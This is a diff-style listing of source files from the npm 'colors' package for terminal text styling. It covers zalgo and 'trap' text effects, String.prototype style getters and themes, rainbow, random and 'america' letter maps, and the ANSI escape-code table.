|
+
w: ['\u0428', '\u0460', '\u047c', '\u0d70'],
|
31
|
+
x: ['\u04b2', '\u04fe', '\u04fc', '\u04fd'],
|
32
|
+
y: ['\u00a5', '\u04b0', '\u04cb'],
|
33
|
+
z: ['\u01b5', '\u0240'],
|
34
|
+
};
|
35
|
+
text.forEach(function(c) {
|
36
|
+
c = c.toLowerCase();
|
37
|
+
var chars = trap[c] || [' '];
|
38
|
+
var rand = Math.floor(Math.random() * chars.length);
|
39
|
+
if (typeof trap[c] !== 'undefined') {
|
40
|
+
result += trap[c][rand];
|
41
|
+
} else {
|
42
|
+
result += c;
|
43
|
+
}
|
44
|
+
});
|
45
|
+
return result;
|
46
|
+
};
|
@@ -0,0 +1,110 @@
|
|
1
|
+
// please no
|
2
|
+
module['exports'] = function zalgo(text, options) {
|
3
|
+
text = text || ' he is here ';
|
4
|
+
var soul = {
|
5
|
+
'up': [
|
6
|
+
'̍', '̎', '̄', '̅',
|
7
|
+
'̿', '̑', '̆', '̐',
|
8
|
+
'͒', '͗', '͑', '̇',
|
9
|
+
'̈', '̊', '͂', '̓',
|
10
|
+
'̈', '͊', '͋', '͌',
|
11
|
+
'̃', '̂', '̌', '͐',
|
12
|
+
'̀', '́', '̋', '̏',
|
13
|
+
'̒', '̓', '̔', '̽',
|
14
|
+
'̉', 'ͣ', 'ͤ', 'ͥ',
|
15
|
+
'ͦ', 'ͧ', 'ͨ', 'ͩ',
|
16
|
+
'ͪ', 'ͫ', 'ͬ', 'ͭ',
|
17
|
+
'ͮ', 'ͯ', '̾', '͛',
|
18
|
+
'͆', '̚',
|
19
|
+
],
|
20
|
+
'down': [
|
21
|
+
'̖', '̗', '̘', '̙',
|
22
|
+
'̜', '̝', '̞', '̟',
|
23
|
+
'̠', '̤', '̥', '̦',
|
24
|
+
'̩', '̪', '̫', '̬',
|
25
|
+
'̭', '̮', '̯', '̰',
|
26
|
+
'̱', '̲', '̳', '̹',
|
27
|
+
'̺', '̻', '̼', 'ͅ',
|
28
|
+
'͇', '͈', '͉', '͍',
|
29
|
+
'͎', '͓', '͔', '͕',
|
30
|
+
'͖', '͙', '͚', '̣',
|
31
|
+
],
|
32
|
+
'mid': [
|
33
|
+
'̕', '̛', '̀', '́',
|
34
|
+
'͘', '̡', '̢', '̧',
|
35
|
+
'̨', '̴', '̵', '̶',
|
36
|
+
'͜', '͝', '͞',
|
37
|
+
'͟', '͠', '͢', '̸',
|
38
|
+
'̷', '͡', ' ҉',
|
39
|
+
],
|
40
|
+
};
|
41
|
+
var all = [].concat(soul.up, soul.down, soul.mid);
|
42
|
+
|
43
|
+
function randomNumber(range) {
|
44
|
+
var r = Math.floor(Math.random() * range);
|
45
|
+
return r;
|
46
|
+
}
|
47
|
+
|
48
|
+
function isChar(character) {
|
49
|
+
var bool = false;
|
50
|
+
all.filter(function(i) {
|
51
|
+
bool = (i === character);
|
52
|
+
});
|
53
|
+
return bool;
|
54
|
+
}
|
55
|
+
|
56
|
+
|
57
|
+
function heComes(text, options) {
|
58
|
+
var result = '';
|
59
|
+
var counts;
|
60
|
+
var l;
|
61
|
+
options = options || {};
|
62
|
+
options['up'] =
|
63
|
+
typeof options['up'] !== 'undefined' ? options['up'] : true;
|
64
|
+
options['mid'] =
|
65
|
+
typeof options['mid'] !== 'undefined' ? options['mid'] : true;
|
66
|
+
options['down'] =
|
67
|
+
typeof options['down'] !== 'undefined' ? options['down'] : true;
|
68
|
+
options['size'] =
|
69
|
+
typeof options['size'] !== 'undefined' ? options['size'] : 'maxi';
|
70
|
+
text = text.split('');
|
71
|
+
for (l in text) {
|
72
|
+
if (isChar(l)) {
|
73
|
+
continue;
|
74
|
+
}
|
75
|
+
result = result + text[l];
|
76
|
+
counts = {'up': 0, 'down': 0, 'mid': 0};
|
77
|
+
switch (options.size) {
|
78
|
+
case 'mini':
|
79
|
+
counts.up = randomNumber(8);
|
80
|
+
counts.mid = randomNumber(2);
|
81
|
+
counts.down = randomNumber(8);
|
82
|
+
break;
|
83
|
+
case 'maxi':
|
84
|
+
counts.up = randomNumber(16) + 3;
|
85
|
+
counts.mid = randomNumber(4) + 1;
|
86
|
+
counts.down = randomNumber(64) + 3;
|
87
|
+
break;
|
88
|
+
default:
|
89
|
+
counts.up = randomNumber(8) + 1;
|
90
|
+
counts.mid = randomNumber(6) / 2;
|
91
|
+
counts.down = randomNumber(8) + 1;
|
92
|
+
break;
|
93
|
+
}
|
94
|
+
|
95
|
+
var arr = ['up', 'mid', 'down'];
|
96
|
+
for (var d in arr) {
|
97
|
+
var index = arr[d];
|
98
|
+
for (var i = 0; i <= counts[index]; i++) {
|
99
|
+
if (options[index]) {
|
100
|
+
result = result + soul[index][randomNumber(soul[index].length)];
|
101
|
+
}
|
102
|
+
}
|
103
|
+
}
|
104
|
+
}
|
105
|
+
return result;
|
106
|
+
}
|
107
|
+
// don't summon him
|
108
|
+
return heComes(text, options);
|
109
|
+
};
|
110
|
+
|
@@ -0,0 +1,110 @@
|
|
1
|
+
var colors = require('./colors');
|
2
|
+
|
3
|
+
module['exports'] = function() {
|
4
|
+
//
|
5
|
+
// Extends prototype of native string object to allow for "foo".red syntax
|
6
|
+
//
|
7
|
+
var addProperty = function(color, func) {
|
8
|
+
String.prototype.__defineGetter__(color, func);
|
9
|
+
};
|
10
|
+
|
11
|
+
addProperty('strip', function() {
|
12
|
+
return colors.strip(this);
|
13
|
+
});
|
14
|
+
|
15
|
+
addProperty('stripColors', function() {
|
16
|
+
return colors.strip(this);
|
17
|
+
});
|
18
|
+
|
19
|
+
addProperty('trap', function() {
|
20
|
+
return colors.trap(this);
|
21
|
+
});
|
22
|
+
|
23
|
+
addProperty('zalgo', function() {
|
24
|
+
return colors.zalgo(this);
|
25
|
+
});
|
26
|
+
|
27
|
+
addProperty('zebra', function() {
|
28
|
+
return colors.zebra(this);
|
29
|
+
});
|
30
|
+
|
31
|
+
addProperty('rainbow', function() {
|
32
|
+
return colors.rainbow(this);
|
33
|
+
});
|
34
|
+
|
35
|
+
addProperty('random', function() {
|
36
|
+
return colors.random(this);
|
37
|
+
});
|
38
|
+
|
39
|
+
addProperty('america', function() {
|
40
|
+
return colors.america(this);
|
41
|
+
});
|
42
|
+
|
43
|
+
//
|
44
|
+
// Iterate through all default styles and colors
|
45
|
+
//
|
46
|
+
var x = Object.keys(colors.styles);
|
47
|
+
x.forEach(function(style) {
|
48
|
+
addProperty(style, function() {
|
49
|
+
return colors.stylize(this, style);
|
50
|
+
});
|
51
|
+
});
|
52
|
+
|
53
|
+
function applyTheme(theme) {
|
54
|
+
//
|
55
|
+
// Remark: This is a list of methods that exist
|
56
|
+
// on String that you should not overwrite.
|
57
|
+
//
|
58
|
+
var stringPrototypeBlacklist = [
|
59
|
+
'__defineGetter__', '__defineSetter__', '__lookupGetter__',
|
60
|
+
'__lookupSetter__', 'charAt', 'constructor', 'hasOwnProperty',
|
61
|
+
'isPrototypeOf', 'propertyIsEnumerable', 'toLocaleString', 'toString',
|
62
|
+
'valueOf', 'charCodeAt', 'indexOf', 'lastIndexOf', 'length',
|
63
|
+
'localeCompare', 'match', 'repeat', 'replace', 'search', 'slice',
|
64
|
+
'split', 'substring', 'toLocaleLowerCase', 'toLocaleUpperCase',
|
65
|
+
'toLowerCase', 'toUpperCase', 'trim', 'trimLeft', 'trimRight',
|
66
|
+
];
|
67
|
+
|
68
|
+
Object.keys(theme).forEach(function(prop) {
|
69
|
+
if (stringPrototypeBlacklist.indexOf(prop) !== -1) {
|
70
|
+
console.log('warn: '.red + ('String.prototype' + prop).magenta +
|
71
|
+
' is probably something you don\'t want to override. ' +
|
72
|
+
'Ignoring style name');
|
73
|
+
} else {
|
74
|
+
if (typeof(theme[prop]) === 'string') {
|
75
|
+
colors[prop] = colors[theme[prop]];
|
76
|
+
addProperty(prop, function() {
|
77
|
+
return colors[prop](this);
|
78
|
+
});
|
79
|
+
} else {
|
80
|
+
var themePropApplicator = function(str) {
|
81
|
+
var ret = str || this;
|
82
|
+
for (var t = 0; t < theme[prop].length; t++) {
|
83
|
+
ret = colors[theme[prop][t]](ret);
|
84
|
+
}
|
85
|
+
return ret;
|
86
|
+
};
|
87
|
+
addProperty(prop, themePropApplicator);
|
88
|
+
colors[prop] = function(str) {
|
89
|
+
return themePropApplicator(str);
|
90
|
+
};
|
91
|
+
}
|
92
|
+
}
|
93
|
+
});
|
94
|
+
}
|
95
|
+
|
96
|
+
colors.setTheme = function(theme) {
|
97
|
+
if (typeof theme === 'string') {
|
98
|
+
console.log('colors.setTheme now only accepts an object, not a string. ' +
|
99
|
+
'If you are trying to set a theme from a file, it is now your (the ' +
|
100
|
+
'caller\'s) responsibility to require the file. The old syntax ' +
|
101
|
+
'looked like colors.setTheme(__dirname + ' +
|
102
|
+
'\'/../themes/generic-logging.js\'); The new syntax looks like '+
|
103
|
+
'colors.setTheme(require(__dirname + ' +
|
104
|
+
'\'/../themes/generic-logging.js\'));');
|
105
|
+
return;
|
106
|
+
} else {
|
107
|
+
applyTheme(theme);
|
108
|
+
}
|
109
|
+
};
|
110
|
+
};
|
package/lib/index.js
ADDED
@@ -0,0 +1,13 @@
|
|
1
|
+
var colors = require('./colors');
|
2
|
+
module['exports'] = colors;
|
3
|
+
|
4
|
+
// Remark: By default, colors will add style properties to String.prototype.
|
5
|
+
//
|
6
|
+
// If you don't wish to extend String.prototype, you can do this instead and
|
7
|
+
// native String will not be touched:
|
8
|
+
//
|
9
|
+
// var colors = require('colors/safe);
|
10
|
+
// colors.red("foo")
|
11
|
+
//
|
12
|
+
//
|
13
|
+
require('./extendStringPrototype')();
|
@@ -0,0 +1,10 @@
|
|
1
|
+
module['exports'] = function(colors) {
|
2
|
+
return function(letter, i, exploded) {
|
3
|
+
if (letter === ' ') return letter;
|
4
|
+
switch (i%3) {
|
5
|
+
case 0: return colors.red(letter);
|
6
|
+
case 1: return colors.white(letter);
|
7
|
+
case 2: return colors.blue(letter);
|
8
|
+
}
|
9
|
+
};
|
10
|
+
};
|
@@ -0,0 +1,12 @@
|
|
1
|
+
module['exports'] = function(colors) {
|
2
|
+
// RoY G BiV
|
3
|
+
var rainbowColors = ['red', 'yellow', 'green', 'blue', 'magenta'];
|
4
|
+
return function(letter, i, exploded) {
|
5
|
+
if (letter === ' ') {
|
6
|
+
return letter;
|
7
|
+
} else {
|
8
|
+
return colors[rainbowColors[i++ % rainbowColors.length]](letter);
|
9
|
+
}
|
10
|
+
};
|
11
|
+
};
|
12
|
+
|
@@ -0,0 +1,11 @@
|
|
1
|
+
module['exports'] = function(colors) {
|
2
|
+
var available = ['underline', 'inverse', 'grey', 'yellow', 'red', 'green',
|
3
|
+
'blue', 'white', 'cyan', 'magenta', 'brightYellow', 'brightRed',
|
4
|
+
'brightGreen', 'brightBlue', 'brightWhite', 'brightCyan', 'brightMagenta'];
|
5
|
+
return function(letter, i, exploded) {
|
6
|
+
return letter === ' ' ? letter :
|
7
|
+
colors[
|
8
|
+
available[Math.round(Math.random() * (available.length - 2))]
|
9
|
+
](letter);
|
10
|
+
};
|
11
|
+
};
|
package/lib/styles.js
ADDED
@@ -0,0 +1,95 @@
|
|
1
|
+
/*
|
2
|
+
The MIT License (MIT)
|
3
|
+
|
4
|
+
Copyright (c) Sindre Sorhus <sindresorhus@gmail.com> (sindresorhus.com)
|
5
|
+
|
6
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
7
|
+
of this software and associated documentation files (the "Software"), to deal
|
8
|
+
in the Software without restriction, including without limitation the rights
|
9
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
10
|
+
copies of the Software, and to permit persons to whom the Software is
|
11
|
+
furnished to do so, subject to the following conditions:
|
12
|
+
|
13
|
+
The above copyright notice and this permission notice shall be included in
|
14
|
+
all copies or substantial portions of the Software.
|
15
|
+
|
16
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
17
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
18
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
19
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
20
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
21
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
22
|
+
THE SOFTWARE.
|
23
|
+
|
24
|
+
*/
|
25
|
+
|
26
|
+
var styles = {};
|
27
|
+
module['exports'] = styles;
|
28
|
+
|
29
|
+
var codes = {
|
30
|
+
reset: [0, 0],
|
31
|
+
|
32
|
+
bold: [1, 22],
|
33
|
+
dim: [2, 22],
|
34
|
+
italic: [3, 23],
|
35
|
+
underline: [4, 24],
|
36
|
+
inverse: [7, 27],
|
37
|
+
hidden: [8, 28],
|
38
|
+
strikethrough: [9, 29],
|
39
|
+
|
40
|
+
black: [30, 39],
|
41
|
+
red: [31, 39],
|
42
|
+
green: [32, 39],
|
43
|
+
yellow: [33, 39],
|
44
|
+
blue: [34, 39],
|
45
|
+
magenta: [35, 39],
|
46
|
+
cyan: [36, 39],
|
47
|
+
white: [37, 39],
|
48
|
+
gray: [90, 39],
|
49
|
+
grey: [90, 39],
|
50
|
+
|
51
|
+
brightRed: [91, 39],
|
52
|
+
brightGreen: [92, 39],
|
53
|
+
brightYellow: [93, 39],
|
54
|
+
brightBlue: [94, 39],
|
55
|
+
brightMagenta: [95, 39],
|
56
|
+
brightCyan: [96, 39],
|
57
|
+
brightWhite: [97, 39],
|
58
|
+
|
59
|
+
bgBlack: [40, 49],
|
60
|
+
bgRed: [41, 49],
|
61
|
+
bgGreen: [42, 49],
|
62
|
+
bgYellow: [43, 49],
|
63
|
+
bgBlue: [44, 49],
|
64
|
+
bgMagenta: [45, 49],
|
65
|
+
bgCyan: [46, 49],
|
66
|
+
bgWhite: [47, 49],
|
67
|
+
bgGray: [100, 49],
|
68
|
+
bgGrey: [100, 49],
|
69
|
+
|
70
|
+
bgBrightRed: [101, 49],
|
71
|
+
bgBrightGreen: [102, 49],
|
72
|
+
bgBrightYellow: [103, 49],
|
73
|
+
bgBrightBlue: [104, 49],
|
74
|
+
bgBrightMagenta: [105, 49],
|
75
|
+
bgBrightCyan: [106, 49],
|
76
|
+
bgBrightWhite: [107, 49],
|
77
|
+
|
78
|
+
// legacy styles for colors pre v1.0.0
|
79
|
+
blackBG: [40, 49],
|
80
|
+
redBG: [41, 49],
|
81
|
+
greenBG: [42, 49],
|
82
|
+
yellowBG: [43, 49],
|
83
|
+
blueBG: [44, 49],
|
84
|
+
magentaBG: [45, 49],
|
85
|
+
cyanBG: [46, 49],
|
86
|
+
whiteBG: [47, 49],
|
87
|
+
|
88
|
+
};
|
89
|
+
|
90
|
+
Object.keys(codes).forEach(function(key) {
|
91
|
+
var val = codes[key];
|
92
|
+
var style = styles[key] = [];
|
93
|
+
style.open = '\u001b[' + val[0] + 'm';
|
94
|
+
style.close = '\u001b[' + val[1] + 'm';
|
95
|
+
});
|